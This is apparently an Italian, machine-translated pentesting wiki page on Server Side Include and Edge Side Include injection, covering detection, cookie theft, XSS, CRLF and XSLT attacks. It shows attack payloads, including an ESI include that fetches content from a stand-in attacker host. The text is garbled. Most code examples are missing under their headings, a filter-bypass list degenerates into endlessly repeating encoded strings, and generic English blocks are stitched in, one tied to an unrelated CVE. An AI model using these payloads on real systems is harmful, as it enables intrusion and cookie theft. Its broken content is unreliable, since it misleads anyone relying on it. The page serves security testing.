Server Side Inclusion/Edge Side Inclusion Injection
Informazioni di base sull'inclusione lato server
(Introduzione tratta dalla documentazione di Apache)
SSI (Server Side Includes) sono direttive che vengono inserite nelle pagine HTML e valutate sul server mentre le pagine vengono servite. Consentono di aggiungere contenuti generati dinamicamente a una pagina HTML esistente, senza dover servire l'intera pagina tramite un programma CGI o un'altra tecnologia dinamica. Ad esempio, è possibile inserire una direttiva in una pagina HTML esistente, come:
<!--#echo var="DATE_LOCAL" -->
E, quando la pagina viene servita, questo frammento verrà valutato e sostituito con il suo valore:
Martedì, 15-gen-2013 19:28:54 EST
La decisione su quando utilizzare SSI e quando generare completamente la pagina tramite un programma dipende solitamente da quanto la pagina è statica e quanto deve essere ricalcolata ogni volta che la pagina viene servita. SSI è un ottimo modo per aggiungere piccoli pezzi di informazioni, come l'ora corrente - mostrata sopra. Ma se la maggior parte della pagina viene generata al momento del servizio, è necessario cercare un'altra soluzione.
È possibile inferire la presenza di SSI se l'applicazione web utilizza file con le estensioni ** .shtml
, .shtm
o .stm
**, ma non è l'unico caso.
Un'espressione SSI tipica ha il seguente formato:
Verifica
To check for Server-Side Inclusion (SSI) and Edge-Side Inclusion (ESI) Injection vulnerabilities, you can follow these steps:
Identify the target: Determine the target website or application that you want to test for SSI or ESI Injection vulnerabilities.
Inspect the source code: Analyze the source code of the target to identify any potential SSI or ESI injection points. Look for server-side scripting languages like PHP, ASP, or JSP, as well as any ESI tags or directives.
Test for SSI Injection: Inject SSI directives into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use SSI directives like
<!--#include virtual="file.txt" -->
to include external files or execute commands.Test for ESI Injection: Inject ESI tags into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use ESI tags like
<esi:include src="http://attacker.com/malicious.xml" />
to include external content or execute commands.Observe the response: Analyze the server's response to determine if the injected SSI or ESI directives are executed. Look for any changes in the rendered page or any error messages that indicate successful injection.
Exploit the vulnerability: If the SSI or ESI injection is successful, try to escalate the attack by including sensitive files, executing commands, or accessing restricted resources.
Report and mitigate: Document your findings and report them to the appropriate parties. Provide recommendations for mitigating the vulnerabilities, such as input validation and output encoding.
By following these steps, you can effectively test for SSI and ESI Injection vulnerabilities and help secure web applications against these types of attacks.
Inclusione lato server
C'è un problema nella memorizzazione nella cache delle informazioni o delle applicazioni dinamiche, poiché parte del contenuto potrebbe variare per la prossima volta in cui viene richiesto. Questo è ciò per cui viene utilizzato ESI, per indicare utilizzando i tag ESI il contenuto dinamico che deve essere generato prima di inviare la versione in cache. Se un attaccante è in grado di iniettare un tag ESI all'interno del contenuto in cache, allora potrebbe essere in grado di iniettare contenuti arbitrari nel documento prima che venga inviato agli utenti.
Rilevamento di ESI
Il seguente header in una risposta dal server indica che il server sta utilizzando ESI:
Se non riesci a trovare questa intestazione, il server potrebbe comunque utilizzare ESI. Un approccio di sfruttamento cieco può essere utilizzato poiché una richiesta dovrebbe arrivare al server degli attaccanti:
Sfruttamento di ESI
GoSecure ha creato una tabella per comprendere gli attacchi possibili che possiamo provare su diversi software compatibili con ESI, a seconda delle funzionalità supportate:
Includes: Supporta la direttiva
<esi:includes>
Vars: Supporta la direttiva
<esi:vars>
. Utile per bypassare i filtri XSSCookie: I cookie del documento sono accessibili al motore ESI
Upstream Headers Required: Le applicazioni surrogate non elaboreranno le istruzioni ESI a meno che l'applicazione upstream non fornisca gli header
Host Allowlist: In questo caso, gli ESI include sono possibili solo da server host consentiti, rendendo ad esempio possibile solo SSRF contro questi host
Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
Squid3 | Sì | Sì | Sì | Sì | No |
Varnish Cache | Sì | No | No | Sì | Sì |
Fastly | Sì | No | No | No | Sì |
Akamai ESI Test Server (ETS) | Sì | Sì | Sì | No | No |
NodeJS esi | Sì | Sì | Sì | No | No |
NodeJS nodesi | Sì | No | No | No | Opzionale |
XSS
La seguente direttiva ESI caricherà un file arbitrario all'interno della risposta del server
Bypassare la protezione XSS del client
In alcuni casi, potrebbe essere necessario bypassare la protezione XSS del client per eseguire un attacco di injection. Di seguito sono riportati alcuni metodi comuni per farlo:
Utilizzo di caratteri speciali: prova ad utilizzare caratteri speciali come
<
,>
,&
,"
,'
,(
,)
,;
,+
,-
,*
,/
,=
,!
,@
,#
,$
,%
,^
,&
,*
,~
,|
,{
,}
,[
,]
,:
,,
,.
,?
,|
,\\
,//
,/*
,*/
,--
,#
,--!
,--#
,--//
,--/*
,--%0a
,--%0d
,--%09
,--%0b
,--%0c
,--%a0
,--%20
,--%0
,--%00
,--%0%00
,--%00%0
,--%00%00
,--%00%09
,--%00%20
,--%00%0a
,--%00%0d
,--%00%0b
,--%00%0c
,--%00%a0
,--%00%ff
,--%00%ff%00
,--%00%ff%00%ff
,--%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00
,--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff
, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00
Rubare i Cookie
Rubare i cookie in remoto
Rubare il cookie HTTP_ONLY con XSS riflettendolo nella risposta:
File Locale Privato
Non confondere questo con una "Inclusione di File Locale":
CRLF
CRLF (Carriage Return Line Feed) è una sequenza di caratteri utilizzata per rappresentare il ritorno a capo di una riga in molti sistemi operativi. È composta da due caratteri: il carattere di ritorno a capo (CR) e il carattere di avanzamento riga (LF).
Nel contesto della sicurezza informatica, CRLF può essere sfruttato per condurre attacchi di injection. Questi attacchi sfruttano la vulnerabilità di un'applicazione web che non gestisce correttamente i caratteri di ritorno a capo e avanzamento riga.
Un attacco di CRLF injection può consentire a un attaccante di iniettare caratteri speciali nella risposta HTTP, come ad esempio l'inserimento di intestazioni HTTP dannose o la modifica del corpo della risposta. Questo può portare a una serie di conseguenze, come il furto di credenziali, l'esecuzione di codice malevolo o il dirottamento dell'utente su un sito web dannoso.
Per proteggersi dagli attacchi di CRLF injection, è importante validare e filtrare correttamente gli input dell'utente, evitando l'inclusione di caratteri di ritorno a capo e avanzamento riga non desiderati nelle risposte HTTP.
Reindirizzamento aperto
Il seguente aggiungerà un'intestazione Location
alla risposta
Aggiungi Intestazione
Aggiungi un'intestazione nella richiesta forzata
Aggiungi l'intestazione nella risposta (utile per aggirare "Content-Type: text/json" in una risposta con XSS)
CRLF in Aggiungi intestazione (CVE-2019-2438)
Description:
CRLF (Carriage Return Line Feed) injection is a vulnerability that allows an attacker to inject malicious headers into HTTP responses. This can lead to various attacks, such as HTTP response splitting, cache poisoning, and cross-site scripting (XSS).
Exploitation:
To exploit this vulnerability, an attacker needs to identify a vulnerable application that allows user-controlled input to be included in HTTP headers. The attacker can then inject CRLF characters (%0D%0A) into the input, causing a new line to be added to the header.
For example, if the application includes user-controlled input in the "User-Agent" header, the attacker can inject a CRLF sequence to create a new header. This can be used to perform HTTP response splitting attacks, where the attacker can control the content of the response or inject malicious scripts.
Prevention:
To prevent CRLF injection attacks, it is important to properly validate and sanitize user-controlled input before including it in HTTP headers. This can be done by removing or encoding any CRLF characters in the input.
Additionally, web application firewalls (WAFs) can be used to detect and block CRLF injection attempts. Regular security testing and code reviews can also help identify and fix any vulnerabilities that could lead to CRLF injection.
Akamai debug
Questo invierà informazioni di debug incluse nella risposta:
ESI + XSLT = XXE
Specificando il valore xslt
per il parametro dca, è possibile includere ESI basato su eXtensible Stylesheet Language Transformations (XSLT)
. L'inclusione fa sì che il surrogato HTTP recuperi i file XML e XSLT, con quest'ultimo che filtra il primo. Tali file XML sono vulnerabili agli attacchi XML External Entity (XXE), consentendo agli attaccanti di eseguire attacchi SSRF. Tuttavia, l'utilità di questo approccio è limitata poiché le inclusioni ESI già fungono da vettore SSRF. A causa dell'assenza di supporto nella libreria Xalan sottostante, i DTD esterni non vengono elaborati, impedendo l'estrazione di file locali.
File XSLT:
Controlla la pagina XSLT:
pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)Riferimenti
Lista di rilevamento Brute-Force
Last updated